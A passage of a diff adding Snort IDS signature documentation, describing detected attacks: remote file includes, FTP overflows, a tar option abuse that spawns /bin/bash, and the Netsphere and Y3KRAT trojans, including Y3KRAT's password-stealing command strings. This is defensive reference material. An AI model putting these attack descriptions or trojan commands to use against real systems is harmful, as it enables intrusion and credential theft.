+A message is generated by a telnet server after a successful connection.  This particular event occurs when a remote user who does not belong to the internal network successfully connects to a telnet server.  This may be a legimate connection by an authorized user or a undesired connection by an unauthorized user.  Since telnet connections are not encrypted, it is possible that user accounts and passwords may be sniffed and used by attackers.  Telnet connections are not considered to be secure especially over the Internet.  Secure shell is the recommended service for remote connectivity since it uses encrypted sessions.
+
+--
+Affected Systems:
+Telnet servers.
+
+--
+Attack Scenarios:
+An attacker may attempt to connect to a telnet server after sniffing a username and password.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+If authorized users are allowed to connect remotely using telnet, disable this rule.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+
+Consider using Secure Shell instead of telnet.
+
+Block inbound telnet connections if it is not required.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.org>
+Documented by Steven Alexander<alexander.s@mccd.edu>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-0619
+
+Arachnids:
+http://www.whitehats.com/info/IDS08
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000102.txt
+++ snort-2.8.5.2/doc/signatures/100000102.txt
@@ -0,0 +1,62 @@
+Rule: 
+
+--
+Sid: 
+100000102
+
+-- 
+Summary: 
+This event is generated when an empty UDP packet is sent to port 2305, where 
+Halocon game servers typically listen.
+
+-- 
+
+Impact: 
+After receiving such a packet, the server will no longer listen on this port, 
+denying the administrator the ability to send remote commands.
+
+--
+Detailed Information:
+Halocon servers listen to UDP port 2305 for commands. Upon receiving an empty 
+UDP packet to that port, the server shuts down the port. Administrators can no 
+longer send remote commands to the server, effectively causing a denial of 
+service. The server must be restarted to re-open the port.
+
+--
+Affected Systems:
+Halocon 2.0.0.81
+
+--
+
+Attack Scenarios: 
+A script that generates empty UDP packets can be used to perform this attack.
+
+-- 
+
+Ease of Attack: 
+Simple; public exploits exist.
+
+-- 
+
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+-- 
+
+Corrective Action: 
+No known patches or workarounds exist. System administrators may be able to 
+reject these packets at their firewall, depending upon the abilities of the 
+firewall system they use.
+
+--
+Contributors: 
+Alex Kirk <alex.kirk@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000613.txt
+++ snort-2.8.5.2/doc/signatures/100000613.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000613
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "link_edit.php" using a remote file being passed as the 
+"admin_template_path" parameter may indicate that an exploitation attempt has 
+been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the "link_edit.php" 
+script used by the "Indexu" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2549.txt
+++ snort-2.8.5.2/doc/signatures/2549.txt
@@ -0,0 +1,65 @@
+Rule:
+
+--
+Sid:
+2549
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a vulnerability
+associated with the web interface support for the HP JetAdmin printer.
+
+--
+Impact:
+A successful attack may allow a sensitive system file to be overwritten.
+
+--
+Detailed Information:
+The HP Web JetAdmin provides a web interface for the administration of the HP
+Web JetAdmin printer.  A vulnerability is present that allows an existing file
+on the server to be overwritten. This problem exists because the script 
+/plugins/framework/script/tree.xms does not sanitize the value supplied to
+the parameter WriteToFile, permitting a directory traversal from the web root
+directory to any file. An attacker can supply the data to write to the specified
+file.
+
+--
+Affected Systems:
+HP Web JetAdmin 7.2.
+
+--
+Attack Scenarios:
+An attacker can overwrite a sensitive system file using the WriteToFile parameter
+and supplying the data to write to the file. 
+
+--
+Ease of Attack:
+Simple. 
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+The default HP Web JetAdmin port is 8000.  If an administrator selects a different port
+on which to run the web interface, no alert will be detected.  In that case, the rule
+should be altered to reflect the port on which the web interface runs.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software or apply the appropriate patch
+when it becomes available.
+
+--
+Contributors:
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References
+
+Bugtraq:
+http://www.securityfocus.com/bid/9973
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1888.txt
+++ snort-2.8.5.2/doc/signatures/1888.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+1188
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in WS_FTP.
+
+--
+Impact:
+Serious. Execution of arbitrary code is possible.
+
+--
+Detailed Information:
+Executing  site cpwd with an specially crafted argument can cause a buffer
+overflow in WS_FTP that would allow arbitrary code to be run on the ftp
+server.
+
+The 'site cpwd' command seems to be unique to ws_ftp. This command is used
+to allow users to change there passwords while using an ftp session. It is
+possible to execute 'site cpwd' with an specially crafted argument can cause
+a buffer overflow in WS_FTP. This would allow arbitrary code to be run on
+the ftp server. This requires that the user be logged into the ftp server
+before executing the 'site cpwd' command.
+
+--
+Affected Systems:
+	WS_FTP up to an including 3.12
+
+--
+Attack Scenarios:
+An attacker needs to authenticate to an ftp server running the affected
+software then supply a specially crafted command to cause the buffer
+overflow condition to occur.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+'site cpwd' is a valid command on ws_ftp and users may be allowed to change
+their passwords.
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Apply the appropriate vendor supplied patches.
+
+Consider using scp as a secure replacement for ftp.
+
+--
+Contributors:
+Original rule writer unknown
+Snort documentation contributed by Ian Macdonald
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1036.txt
+++ snort-2.8.5.2/doc/signatures/1036.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+1036
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a web server running Microsoft Internet Information
+Server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases. Denial of
+Service is possible.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running Microsoft Internet Information Server (IIS). Many known
+vulnerabilities exist for this platform and the attack scenarios are
+legion.
+
+--
+Affected Systems:
+	All systems running Microsoft IIS
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Many exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3452.txt
+++ snort-2.8.5.2/doc/signatures/3452.txt
@@ -0,0 +1,54 @@
+Rule:
+
+--
+Sid:
+3452
+
+--
+Summary:
+This rule does not generate an event. It is used in conjunction with
+other rules to reduce the possibility of false postives from occuring.
+
+--
+Impact:
+Unknown.
+
+--
+Detailed Information:
+This rule does not generate an event. It is used in conjunction with
+other rules to reduce the possibility of false postives from occuring.
+
+--
+Affected Systems:
+	NA
+
+--
+Attack Scenarios:
+NA
+
+--
+Ease of Attack:
+NA
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+NA
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000592.txt
+++ snort-2.8.5.2/doc/signatures/100000592.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+100000592
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "editor_validate.php" using a remote file being passed as 
+the "admin_template_path" parameter may indicate that an exploitation attempt 
+has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the 
+"editor_validate.php" script used by the "Indexu" application running on a 
+webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/3145.txt
+++ snort-2.8.5.2/doc/signatures/3145.txt
@@ -0,0 +1,77 @@
+Rule: 
+
+--
+Sid: 
+3145
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft systems using Server Message Block (SMB).
+
+-- 
+Impact: 
+Serious. Execution of arbitrary code leading to unauthorized
+administrative access to the target host. Denial of Service (DoS) is
+also possible.
+
+--
+Detailed Information:
+SMB is a client - server protocol used in sharing resources such as
+files, printers, ports, named pipes and other things, between machines
+on a network.
+
+A vulnerability in the Microsoft implementation of SMB exists due to a
+programming error which may present an attacker with the opportunity to
+exploit the service and run code of their choosing on an affected
+system. The attacker may then cause a DoS condition in the service or
+possibly gain unauthorized access to the target host.
+
+A malicious attacker can exploit the vulnerability by sending a
+malicious response from a server in response to a client request using
+SMB.
+
+--
+Affected Systems:
+	Microsoft Windows 2003
+	Microsoft Windows 2000
+	Microsoft Windows XP
+
+--
+Attack Scenarios: 
+An attacker can supply extra data in the message from the server
+containing code of their choosing to be run on the client.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patches.
+
+Turn off windows file and print services.
+
+Use Samba as an alternative.
+
+--
+Contributors: 
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+eEye:
+http://www.eeye.com/html/research/advisories/AD20050208.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/362.txt
+++ snort-2.8.5.2/doc/signatures/362.txt
@@ -0,0 +1,75 @@
+Rule: 
+
+--
+Sid: 362
+
+-- 
+
+Summary: 
+This event is generated when an attempt to abuse an FTP servers functionality and configuration weaknesses is attempted.
+
+-- 
+Impact:
+Serious. The attacker may have the ability to execute commands remotely within an FTP session.
+
+-- 
+Detailed Information: 
+This event is generated when an attempt to abuse the built-in archive decompression functionality of the FTP server is attempted.
+
+Some FTP servers allow the user to compress/archive files on the fly whilst they are being uploaded or downloaded. For example, the user may be able to "tar" and download an entire directory in one command simply by requesting the "directory_name.tar". Additionally, the user may be able to specify the command the "tar" archiver will use for compression (normally, "gzip", "bzip2", etc) and have an FTP server erroneously accept this command. 
+
+If this command is a shell, an interactive session will be started.  The string " --use-compress-program" is an indicator that such a parameter is being given to "tar" utility.  The attack requires an established FTP session.
+
+--
+
+Attack Scenarios: 
+An FTP-only user with no shell access can connect to a server and execute a "/bin/bash" shell via this exploit. This will present the attacker with interactive access to a system.
+
+-- 
+
+Ease of Attack: 
+Simple. The attack requires an access via FTP to the target server. In the case of an anonymous FTP connection, the attack will only permit execution of software from within the chrooted anonymous FTP home. 
+
+If the session is that of a regular FTP user, any binary or executable file can be executed. No special exploit software is required.
+
+-- 
+
+False Positives: 
+Highly unlikely, but the legitimate use of this functionality might trigger a false alarm
+
+-- 
+
+False Negatives:
+None Known
+
+-- 
+
+Corrective Action: 
+Upgrade the FTP server software to a non-vulnerable version
+
+Restrict access to the FTP server to trusted users/IP addresses, 
+
+Disallow automatic file archival
+
+Disable FTP server and use secure shell (SSH) for transferring files.
+
+--
+Contributors: 
+Original rule writer Max Vision <vision@whitehats.com>
+Snort documentation contributed by Anton Chuvakin <http://www.chuvakin.org>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS134
+
+Bugtraq:
+http://online.securityfocus.com/bid/2240
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0202
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2442.txt
+++ snort-2.8.5.2/doc/signatures/2442.txt
@@ -0,0 +1,62 @@
+Rule:  
+
+--
+Sid:
+2442
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Apple Quicktime/Darwin Streaming Server.
+
+--
+Impact:
+Denial of Service (DoS).
+
+--
+Detailed Information:
+The Apple Quicktime Streaming Server is used to serve client machines
+with streaming media content using TCP/IP. A vulnerability exists in the
+processing of client requests that can cause a DoS.
+
+An overly long User-Agent field in DESCRIBE requests to the server can
+cause this condition to occur.
+
+--
+Affected Systems:
+	Apple Darwin Streaming Server 4.1.3
+	Apple Quicktime Streaming Server 4.1.3
+
+--
+Attack Scenarios:
+An attacker can supply a user agent field in excess of 255 characters in
+a DESCRIBE request to trigger the DoS condition.
+
+--
+Ease of Attack:
+Moderate.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000518.txt
+++ snort-2.8.5.2/doc/signatures/100000518.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000518
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "PHP Live Helper" application running on a 
+webserver. Access to the file "initiate.php" using a remote file being passed 
+as the "abs_path" parameter may indicate that an exploitation attempt has been 
+attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "abs_path" parameter in the "initiate.php" script used 
+by the "PHP Live Helper" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using PHP Live Helper
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/146.txt
+++ snort-2.8.5.2/doc/signatures/146.txt
@@ -0,0 +1,95 @@
+Rule:
+
+--
+Sid:
+146
+
+--
+Summary:
+Netsphere is a Trojan Horse offering the attacker access to the victims 
+filesystem, instant messaging clients and some control over peripherals.
+This event is generated when a Netsphere server responds to an attackers
+client.
+
+--
+Impact:
+Compromise of data integrity on the victim host as well as the 
+possibility of rendering the machine temporarily unusable.
+
+--
+Detailed Information:
+This Trojan affects the following operating systems:
+
+	Windows 95
+	Windows 98
+	Windows ME
+
+The Trojan changes system registry settings to add the Netsphere
+sever to programs normally started on boot. Due to the nature of this
+Trojan it is unlikely that the attacker's client IP address has been
+spoofed.
+
+The Trojan also gives the attacker the ability to access the victims 
+filesystem, turn the monitor on and off, control the mouse, access 
+instant messaging applications and render a pentium based machine 
+unusable.
+
+The Trojan is also known to use TCP ports 30100, 30101 and 30102.
+
+--
+Attack Scenarios:
+This Trojan may be delivered to the target in a number of ways. This
+event is indicative of an existing infection being activated. Initial
+compromise can be in the form of a Win32 installation program that may
+use the extension ".jpg" or ".bmp" when delivered via e-mail for
+example.
+
+--
+Ease of Attack:
+This is Trojan activity, the target machine may already be compromised.
+Updated virus definition files are essential in detecting this Trojan.
+
+The Trojan server is named NetSphereServer.exe.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+Edit the system registry to remove the extra keys or restore a
+previously known good copy of the registry.
+
+Affected registry keys are:
+
+	HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
+
+Registry keys added are:
+
+	NSSX
+
+Removal of this entry is required.
+
+Delete the file NetSphereServer.exe.
+
+Ending the Trojan process is also necessary. A reboot of the infected
+machine is recommended.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Whitehats arachNIDS
+http://www.whitehats.com/info/IDS76
+
+--
--- snort-2.8.5.2.orig/doc/signatures/676.txt
+++ snort-2.8.5.2/doc/signatures/676.txt
@@ -0,0 +1,75 @@
+Rule:  
+
+--
+Sid: 
+
+-- 
+
+Summary: 
+This event is generated when a command is issued to an SQL database
+server that may result in a serious compromise of the data stored on
+that system.
+
+-- 
+Impact: 
+Serious. An attacker may have gained administrator access to the system.
+
+--
+Detailed Information:
+This event is generated when an attacker issues a special command to an
+SQL database that may result in a serious compromise of all data stored
+on that system.
+
+Such commands may be used to gain access to a system with the privileges
+of an administrator, delete data, add data, add users, delete users,
+return sensitive information or gain intelligence on the server software
+for further system compromise.
+ 
+This connection can either be a legitimate telnet connection or the
+result of spawning a remote shell as a consequence of a successful
+network exploit. 
+
+--
+
+Attack Scenarios: 
+Simple. These are SQL database commands.
+
+-- 
+
+Ease of Attack: 
+Simple.
+
+-- 
+
+False Positives: 
+This event may be generated by a database administrator logging in and
+issuing database commands from a location outside the protected network.
+
+--
+False Negatives:
+None Known
+
+-- 
+
+Corrective Action: 
+Disallow direct access to the SQL server from sources external to the
+protected network.
+
+Ensure that this event was not generated by a legitimate session then
+investigate the server for signs of compromise
+
+Look for other events generated by the same IP addresses.
+
+--
+Contributors: 
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+NGSSoftware Advisory:
+http://www.nextgenss.com/advisories/mssql-jobs2.txt
+
+--
--- snort-2.8.5.2.orig/doc/signatures/122-27.txt
+++ snort-2.8.5.2/doc/signatures/122-27.txt
@@ -0,0 +1,93 @@
+
+
+Rule:
+
+--
+Sid:
+122-27
+
+--
+Summary:
+This event is generated when the pre-processor sfPortscan detects
+network traffic that may constitute an attack. Specifically a open port
+was detected.
+
+--
+Impact:
+Unknown. This is normally an indicator of possible network
+reconnaisance and may be the prelude to a targeted attack against the
+targeted systems.
+
+--
+Detailed Information:
+This event is generated when the sfPortscan pre-processor detects
+network traffic that may consititute an attack.
+
+A portscan is often the first stage in a targeted attack against a
+system. An attacker can use different portscanning techniques and tools
+to determine the target host operating system and application versions
+running on the host to determine the possible attack vectors against
+that host.
+
+More information on this event can be found in the individual
+pre-processor documentation README.sfportscan in the docs directory of
+the snort source. Descriptions of different types of portscanning
+techniques can also be found in the same documentation, along with
+instructions and examples on how to tune and use the pre-processor.
+
+--
+Affected Systems:
+	All.
+
+--
+Attack Scenarios:
+An attacker often uses a portscanning technique to determine operating
+system type and version and also application versions to determine
+possible effective attack vectors that can be used against the target
+host.
+
+--
+Ease of Attack:
+Simple. Many portscanning tools are freely available.
+
+--
+False Positives:
+While not necessarily a false positive, a security audit or penetration
+test will often employ the use of a portscan in the same way an
+attacker might use the technique. If this is the case, the
+pre-processor should be tuned to ignore the audit if so desired.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check for other events targeting the host.
+
+Check the target host for signs of compromise.
+
+Apply any appropriate vendor supplied patches as appropriate.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Daniel Roelker <droelker@sourcefire.com>
+Marc Norton    <mnorton@sourcefire.com>
+Jeremy Hewlett <jh@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Nmap:
+http://www.insecure.org/nmap/
+
+Port Scanning Techniques and the Defense Against Them - Roger
+Christopher, SANS:
+http://www.sans.org/rr/whitepapers/auditing/70.php
+
+Hypervivid Tiger Team - Port-Scanning: A Practical Approach
+http://www.hcsw.org/reading/nmapguide.txt
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3082.txt
+++ snort-2.8.5.2/doc/signatures/3082.txt
@@ -0,0 +1,145 @@
+Rule: 
+
+--
+Sid: 
+3082
+-- 
+Summary: 
+This event is generated when a Y3KRAT 1.5 client attempts to respond to the Y3KRAT 1.5 server.
+
+-- 
+Impact: 
+If connected, the attacker could execute a multitude of functions resulting in a complete compromise of the victim's machine.
+
+--
+Detailed Information:
+Y3KRAT 1.5 uses port 5880 by default. This port can be changed by the attacker. 
+
+The following is a list of the commands for many of Y3KRAT 1.5's functions (Command Name: Command String):
+
+AIM Passwords: aolpwd
+AIM Spy: aolspy
+Change Internet Explorer Caption: changeiecaptest
+Chat With Server: chatsrvY3K Rat user
+Clipboard: pastefromclip
+Change Desktop Color Scheme: clsys
+Change Recycle Bin Name: nrbin
+Change System Name: sysname
+Change Time: time
+Video List: getvideolist
+Dialup: autoconnect
+Access Directories: getclientgetpaths
+Get Directory Paths: getpaths
+Disable Mouse Buttons: dbuttons
+Disable Num Lock: dnumlock
+Disable System Keys: dsyskeys
+Disable All Keys: dkeys{all}
+DOS Commands: doscommands
+Fast Mouse: fastmouseon
+Find File: findfile
+Flip Screen: flip1hor
+FTP: openftp21
+Go To URL: gotourl
+Hide Taskbar: hidetask
+Hide Clock: hideclock
+Hide Desktop Icons: hidedeskicons
+Hide Start Button: hidestart
+Hide System Tray: hidesystray
+ICQ Information: getclienticqinfo
+ICQ Passwords: geticqpass
+ICQ Spy: icqspy
+Internet Explorer Spy: iespy
+General Information: general
+Lights On: lightson
+Lights Off: lightsoff
+Live Shot: cap
+Logged Passwords: getpasses
+Logoff: boot41
+Make File: makefile
+Matrix Chat: matrix
+Modify File (Read System File): readsysfiles
+Modify File (Write System File): writesysfiles
+Monitor Off: enablestandby
+Mouse Settings (Set Position): setpos
+Mouse Settings (Freeze Mouse Position): freezepos
+Mouse Settings (Speed Up Cursor): speedcursor
+MSN Spy: msnspy
+Napster Spy: napsterspy
+Net Get: netget
+NetStat (Read): netstatread
+NetStat (Kill): netstatkill
+CD-ROM open: cdopen
+CD-ROM close: cdclose
+Open File: getfiles
+Overclock: upmhz
+Play Sound: snd (*followed by the sound, for example, err for the error sound*)
+Power Off: boot31
+Print: print
+Ras Passwords: getras
+Remove Server: killserver
+Change Resolution: setdevmode
+Restart: boot21
+Safe Mode: safemode
+Screenshot: cap
+Send Keys: sendtextf
+Send Message: messText
+Show Windows With Text: showwin
+Shutdown: boot11
+Swap Mouse Buttons: swapbuttons
+Write System Error: writesystem
+Yahoo Spy: yahoospy
+
+
+--
+Affected Systems:
+	Windows 95, 98, ME, NT, 2000
+
+--
+
+Attack Scenarios: 
+The victim must first install the server. Be wary of suspicious files because they often can be backdoors in disguise.
+Once the victim mistakenly installs the server program, the attacker usually will employ an IP scanner program
+to find the IP addresses of victims that have installed the program. Then the attacker enters the IP address and 
+presses the connect button and he has access to your computer.
+
+-- 
+
+Ease of Attack: 
+Easy. Simply a matter of pressing the connect button once the victim has installed the server.
+
+
+-- 
+
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+-- 
+
+Corrective Action: 
+Remove the Dcomcnofg key located at the following places in the registry:
+HKEY_LOCAL_MACHINES\Software\Microsoft\Windows\CurrentVersion\Run 
+HKEY_LOCAL_MACHINES\Software\Microsoft\Windows\CurrentVersion\RunServices
+HKEY_USERS\Default\Software\Microsoft\Windows\CurrentVersion\Run
+
+Reboot the computer or close Dcomcnofg.exe.
+
+Delete Dcomcnofg.exe from the windows system directory.
+
+If found, delete server.exe and kill the process called server.exe.
+
+--
+Contributors:
+Sourcefire Research Team
+Ricky Macatee <rmacatee@sourcefire.com> 
+
+-- 
+Additional References:
+
+Dark-E:
+http://www.dark-e.com/archive/trojans/y3krat/15/index.shtml
+
+--
--- snort-2.8.5.2.orig/doc/signatures/399.txt
+++ snort-2.8.5.2/doc/signatures/399.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+
+Sid:
+399
+
+--
+
+Summary:
+This event is generated when An ICMP Host Unreachable datagram is detected on the network.  
+
+--
+
+Impact:
+Routers will generate this message when the route to the destination host on a directly connected network is not available.  This occurs when no ARP response is received from the destination network.
+
+--
+
+Detailed Information: 
+This rule generates informational events about the network.  Large numbers of these messages on the network could indication routing problems, faulty routing devices, or improperly configured hosts.
+
+--
+
+Attack Scenarios:
+None Known
+
+--
+
+Ease of Attack:
+Numerous tools and scripts can generate these types of ICMP datagrams.
+
+--
+
+False Positives:
+None Known
+
+--
+
+False Negatives:
+None Known
+
+--
+
+Corrective Action:
+This rule detects informational network information, no corrective action is necessary.
+
+--
+
+Contributors:
+Original Rule writer unknown
+Sourcefire Research Team
+Matthew Watchinski (matt.watchinski@sourcefire.com)
+
+--
+
+Additional References:
+None
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2598.txt
+++ snort-2.8.5.2/doc/signatures/2598.txt
@@ -0,0 +1,68 @@
+Rule:
+
+--
+Sid:
+2598
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer
+overrun condition in the Samba Web Administration Tool (SWAT).
+
+--
+Impact:
+Remote execution of arbitrary code.
+
+--
+Detailed Information:
+A vulnerability exists in SWAT that may present an attacker with the
+opportunity to execute code of their choosing on an affected host.
+
+The problem lies in an the functions that handle base64 decoding
+during HTTP basic authentication. Exploitation of this vulnerability
+may present the attacker with the opportunity to gain control of the
+affected system.
+
+--
+Affected Systems:
+	 Versions of Samba greater than or equal to 3.0.2 and
+     less than 3.0.5
+
+--
+Attack Scenarios:
+An attcker needs to make a specially crafted request to the SWAT
+service that could contain harmful code to gain further access to the
+system.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+--
+Contributors:
+Sourcefire Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0600
+
+Bugtraq:
+http://www.securityfocus.com/bid/10780
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2231.txt
+++ snort-2.8.5.2/doc/signatures/2231.txt
@@ -0,0 +1,64 @@
+Rule:  
+
+--
+Sid:
+2231
+
+--
+Summary:
